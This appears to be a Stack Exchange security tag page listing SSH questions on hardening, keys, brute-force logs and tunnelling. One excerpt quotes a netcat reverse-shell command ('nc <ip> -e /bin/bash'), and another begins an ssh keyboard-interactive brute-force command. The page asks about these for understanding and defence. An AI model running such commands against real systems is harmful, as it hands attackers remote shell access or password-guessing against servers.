SSH (Secure shell) is a protocol for secure communication between computers to execute remote commands, transfer data and tunnel TCP connections.

learn more… | top users | synonyms

0
votes
1answer
37 views

Is it safe to use an Android Server Monitoring App, to login to a server with SSH?

Lately I have seen some Android Apps, (CPU Monitoring and things like that) that need access to your root account, ask you for username and pass, my questions are: Is it safe to give access to an ...
11
votes
1answer
205 views

How long to re-seed /dev/urandom in a virtual machine?

I have read plenty about the distinction between /dev/random and /dev/urandom. I understand that the prevailing advice is to use /dev/urandom. The explanation - that 256 bits of 'proper' randomness ...
1
vote
1answer
39 views

What purpose is served by repeated connection resets?

My server logs are being filled with Connection Reset by xxx.xxx.xxx.xxx [preauth]: $ cat /var/log/auth.log | grep 'Connection Reset' Mar 13 19:52:30 server sshd[29366]: Connection reset by xxx.xxx....
4
votes
1answer
42 views

What are the dangers of exposing weakly protected user accounts bound with a fake shell over ssh?

As anyone running a server can tell from first-hand experience, there are bots trying to constantly brute force their way through with commonly found usernames over SSH. A friend of mine created a ...
3
votes
1answer
82 views

How can I enforce that an SSH private key has a passphrase?

My company is serious about security and willing to move to SSH key-pairs. Users can generate their SSH key pairs independently and I worry if they set a pass-phrase. Can I enforce this? Does signing ...
2
votes
1answer
89 views

openssh old version vulnerabilities

My Ubuntu 12.04LTS system currently offers OpenSSH_5.9p1 Debian-5ubuntu1.8, OpenSSL 1.0.1 14 Mar 2012. Besides being old, it does not allow me to use e.g. the option # PubkeyAcceptedKeyTypes ssh-rsa* ...
3
votes
1answer
217 views

How did hackers compromise my EC2 instance?

My EC2 instance was hacked recently. It doesn't really matter as I'm just starting my website and there was no sensitive information on my server yet, but I do plan for there to be in the future. I am ...
4
votes
1answer
230 views

Putty settings - Protocols and Algorithms to warn about

I specify "Putty" as otherwise I feel the question would be too broad. What are the algorithm (as of March 2016) that one needs to be warned about (ie, those that no longer are considered safe enough)...
-3
votes
1answer
49 views

SSH and Port Forwarding - what are the possible attacks and how to avoid them? [closed]

What are possible attacks when using SSH and Local or Remote Port Forwarding? What are the threats? I understand that there are many, but what are they? And also, how could they be avoided?
1
vote
1answer
64 views

Minimal working configuration for reasonable security in openssh on Linux [duplicate]

I want to connect from my laptop to home server (both run some Linux; notice I explicitly want my user to be able to become root, in order e.g. to install new software): the server has the following ...
1
vote
1answer
46 views

Why does the result of ssh-keyscan -H contain a header line with the un-hashed server ID?

I'm attempting to build a global known_hosts file for my AWS VPC, and was looking at using ssh-keyscan to acquire the fingerprints of new servers as they are created. The -H option seems sensible, as ...
0
votes
0answers
47 views

Can I use process crash information to detect buffer overflow attacks?

Buffer overflow is a very common vulnerability, often targeted with zero-day exploits. Successful attacks often result in arbitrary code execution, while failed attempts tend to crash the target ...
0
votes
1answer
50 views

Connecting to a compromised server

There have been a number of threads lately about hacked websites where attackers are gaining control of the servers these sites are being hosted on. As such, these servers should be treated as ...
1
vote
1answer
96 views

What are the privacy implications of using Yubico OTP with YubiCloud?

I am considering purchasing Yubikey devices (made by Yubico) to add two-factor authentication when my users ssh to our various servers. I figured I would configure the device to use Yubico OTP with ...
4
votes
2answers
144 views

Can someone explain how sshd does privilege separation?

I'm confused about how sshd drops privs for incoming connections. I found this page which was very informative on a high level: http://www.citi.umich.edu/u/provos/ssh/privsep.html But I don't ...
1
vote
2answers
360 views

Snort “Protocol mismatch” from SSH preprocessor

TL;DR -- What does "protocol mismatch" even mean, and how is this a threat? Can I just suppress it? We are busy tuning Snort. The SSH preprocessor section looks like this, which comes directly from ...
1
vote
1answer
85 views

ssh key strength

Github currently suggest this type of key: ssh-keygen -t rsa -b 4096 -C "your_email@example.com" Is there a stronger algorithm or byte length mostly usable for most contemporary cloud, PaaS and ...
5
votes
2answers
78 views

How to secure shared user on build server?

We have a CI server which is installed as the builduser and all tasks are executed as that respective user at the OS level. We have many teams sharing the build server which means the build user and ...
14
votes
3answers
2k views

how does reverse shell behave?

Someone was helping me with a problem on my vagrant server. He was able to access shell via (I ran it for him, with his ip and port): nc <ip> -e /bin/bash <port> I've never encountered ...
4
votes
1answer
110 views

Spoofing LAN IP Address Traffic

To give as much detail as possible, I am doing a Pentest for a client that has quite a few "terminal systems" meaning that they are simply a box with a connection back to the main server. These ...
0
votes
4answers
139 views

Running SSH on a different port vs adding the port number to a password

So, a pretty typical piece of advice is to run SSH on a high port number, thus decreasing the chances of it being attacked. The thing I have always wondered about though is that it seems more secure ...
5
votes
1answer
75 views

Is OpenSSL generating Diffie-Hellman parameters that are safe for use in TLS or SSH servers?

I would like to generate Diffie-Hellman parameters on a Debian GNU/Linux "Jessie" 8 with OpenSSL. Lets assume the system CSPRNG was seeded with some real random data. On such a system, is the result ...
0
votes
0answers
15 views

Identify if Debian PC reachable with SSH is infected [duplicate]

I am operating a credit-card sized PC with Debian on it. For some time (before taking care of it) it was reachable with SSH over port 22, simply using root as username, and no password. How can I ...
2
votes
1answer
241 views

There might be a man in the middle attack against my server

I have a little $7.20/y VPS, and the fingerprint for the ECDSA key has changed three times on me. This time, it happened shortly after I reinstalled the server (same day, in fact.) I always disable ...
3
votes
2answers
38 views

Should different versions of SSH give different VisualHostKeys?

I am SSHing to a server via Cygwin's SSH and via Ubuntu 14.04's SSH. Cygwin version: OpenSSH_7.1p2, OpenSSL 1.0.2e 3 Dec 2015 Ubuntu version: OpenSSH_6.6.1p1 Ubuntu-2ubuntu2.4, OpenSSL 1.0.1f 6 Jan ...
13
votes
1answer
2k views

Why OpenSSH deprecated DSA keys

There was a question RSA vs. DSA for SSH authentication keys asking which key is better. Basically all answers were more in a favour of RSA over DSA but didn't really tell that DSA would be somehow ...
51
votes
6answers
8k views

Why is leaving a passworded SSH over the internet so bad?

I've heard multiple multiple times to never leave SSH with a password open over the internet. Why is this so bad? I understand the password can be bruteforced, but what if it is a very strong ...
21
votes
5answers
2k views

Should I use a second/dedicated IP address for SSH?

When running a public web server (e.g., with Apache), I've heard it's recommended to bind SSH to a second IP address, different from the one Apache is listening to. But for me it seems like this is ...
1
vote
3answers
300 views

How to (further) ensure SSH security?

I set up my Linux Ubuntu machine as an SSH server through no-ip.com and it works great. Recently I discovered the command, sudo lastb -ad -F -w which outputs a log of the most recent failed SSH ...
0
votes
1answer
47 views

Can we associate SSH public key with single Windows server or server specific? [on hold]

We are using PuTTy to Configure SSH Keys Authentication in Windows server. Is it possible to generate a server specific public key. Following are client's comments on what he needs: Appears ...
1
vote
5answers
121 views

Best Security Method for SSH Access

I have been starting to think about security in a bit more depth recently and have hit a few questions which I would really value opinions on. For years I have had the same SSH Keypair to get to my ...
3
votes
1answer
58 views

How secure is GSSAPI single-signon over SSH?

I know it is possible to integrate Linux/SSH logins with a Windows AD by using GSSAPI (Kerberos) authentication instead of the classic ssh keys and/or passwords. However, I have been unable to find ...
5
votes
1answer
292 views

Blocking Chinese IP addresses

I recently checked one of my servers' auth.log file and noticed some very suspicious activity. I recently shut down my server's ssh daemon, so the logs end on Jan 22, but what I noticed after ...
1
vote
1answer
110 views

SSH “on keyboard interactive devices” brute force vulnerability

I was researching the OpenSSH brute force vulnerability "onkeyborad-interactive devices", however I am not sure how this command really works ssh -lusername -oKbdInteractiveDevices=`perl -e 'print "...
2
votes
2answers
92 views

Protecting account ssh keys from root

How can users ssh private keys be protected from root stealing and attempting to brute force them? I cannot use selinux as the vendor will not support the app when it's in use? Thanks
56
votes
8answers
9k views

Am I experiencing a brute force attack?

When checking the auth log of a server with the command: grep sshd.\*Failed /var/log/auth.log | less I see thousands of lines like this: Jan 12 11:27:10 ubuntu-leno1 sshd[8423]: Failed ...
17
votes
2answers
5k views

How exploitable is the recent UseRoaming SSH problem?

I recently heard about a serious bug in an OpenSSH client (CVE-2016-0777 and CVE-2016-0778) that if I understood correctly could cause remote code execution. How difficult would be for an active man-...
2
votes
1answer
47 views

Can a user verify the quality/safety of pregenerated SSH moduli parameters?

Many tutorials about how to mitigate the Logjam recommend regenerating Diffie-Hellman moduli. This is a resource intensive operation, especially for high-bit groups. This made me think if it made ...
0
votes
1answer
77 views

Will the result of HTTPS and SSH encryption of the same data be identical for two separate requests?

If I was to request an image over HTTPS and record the packets over WireShark and then inspect a peer's Wireshark and look for the same packets, would I be able to see if they requested the same file, ...
1
vote
1answer
88 views

ssh tunneling /port forwarding/access different subnet

Hi I need some good pointer or any recommendation any docs about this below stated scenario. During in my recent pentesting : My ip is 192.168.x.1(kali) By some how I managed to get root shell on ...
0
votes
1answer
61 views

Is it a breach to have a ssh program into a tomcat server

I start to working in a project here and find something that at least seems odd to me. Since I'm not an specialist I came here to ask. It is a Java Web project that was made to run into a Tomcat ...
2
votes
1answer
154 views

What is the benefit of an SSH tunnel vs a Netcat shell for remote communication?

On the (few) penetration tests that I've done so far, I've typically created a reverse shell with Netcat to run commands on the target machine. Now, it looks like a lot of people like to use an SSH ...
0
votes
3answers
976 views

vpn vs ssh, what to choose? [duplicate]

First of all i am noob in this area so came here to get some idea from the experts. My friend was telling me the other day that ssh is pretty secure protocol and one should not be worried about ...
3
votes
1answer
79 views

Security problems with password-less SSH

Is there any downside of configuring password-less SSH authentication? Although it is very handy and secure, if someone gets access to my system with my account and there is password-less ...
1
vote
0answers
183 views

is it possible Windows privilege escalation using freesshd keys? [closed]

I have unprivileged shell one system.By browsing all folder i found freeSSHD folder Directory of C:\Program Files\freeSSHd 09/26/2008 02:07 PM <DIR> . 09/26/2008 02:07 PM <...
1
vote
1answer
151 views

SSH Key vs Complex Password with Fail2Ban & Two Factor Authentication

Normally you hear that using an SSH Key is far more secure than using a regular password. However I've been wondering if this statement is really true. Let's say we have the following variables for ...
1
vote
2answers
87 views

What exactly does `ssh -T user@domain verify` do?

The example I'm specifically thinking of is: ssh -T git@github.com verify Looking at the docs (man ssh) I can see that -T is the flag to "Disable pseudo-terminal allocation", but what implications ...
2
votes
2answers
143 views

Choosing between SSH and HTTPS for executing script using McAfee ESM Nitro

We intend to use McAfee ESM Nitro (SIEM) for security monitoring of our infrastructure servers. To bring automation in system administration of our servers, we have developed some applications in-...
6
votes
1answer
386 views

SSH ciphers, MAC and key-exchange (and pen-tests thereof)

At work we've been trying to move our external-facing services away from a policy of inclusivity (where we tried to accept as many people as possible) to a more security-focused setup. The first step ...
4
votes
1answer
75 views

SSH Access to Personal Server sudo vs su

I have a server running Debian, which is on the web, and has few traffic (I use it essentially for some coulds, calendars, etc. for me). In an attempt to secure its access, I made the following in the ...